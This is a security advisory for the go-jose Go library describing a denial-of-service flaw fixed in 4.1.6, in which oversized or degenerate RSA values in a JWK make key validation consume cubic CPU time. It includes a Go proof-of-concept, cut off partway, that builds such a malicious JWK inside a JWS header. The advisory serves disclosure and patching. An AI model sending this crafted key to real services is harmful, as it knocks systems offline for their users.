Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Affected: Go: github.com/go-jose/go-jose/v4, Go: github.com/go-jose/go-jose/v3

### Summary

A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.

### Details

go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to `crypto/rsa.PrivateKey.Validate()`. On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.

https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700

### Proof of concept

No special configuration of go-jose is required to reproduce this vulnerability.

```go package main

import ( "encoding/base64" "encoding/json" "fmt" "math/big" "time"

"github.com/go-jose/go-jose/v4" )

func main() { // The RSA parameters can be complete junk. The CPU cost is in validating them. primeBits := 16384 p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1)) p.SetBit(p, 0, 1) n := new(big.Int).Lsh(big.NewInt(1), 2048) e := big.NewInt(65537) d := big.NewInt(3) q := big.NewInt(3)

jwk := map[string]string{ "kty": "RSA", "n": base64.RawURLEncoding.EncodeToString(n.Bytes()), "e": base64.RawURLEncoding.EncodeToString(e.Bytes()), "d": base64.RawURLEncoding.EncodeToString(d.Bytes()), "p": base64.RawURLEncoding.EncodeToString(p.Bytes()), "q": base64.RawURLEncoding.EncodeToString(q.Bytes()), }

protected := map[string]any{ "alg": "RS256", "jwk": jwk, } protJSON, _ := json.Marshal(pro…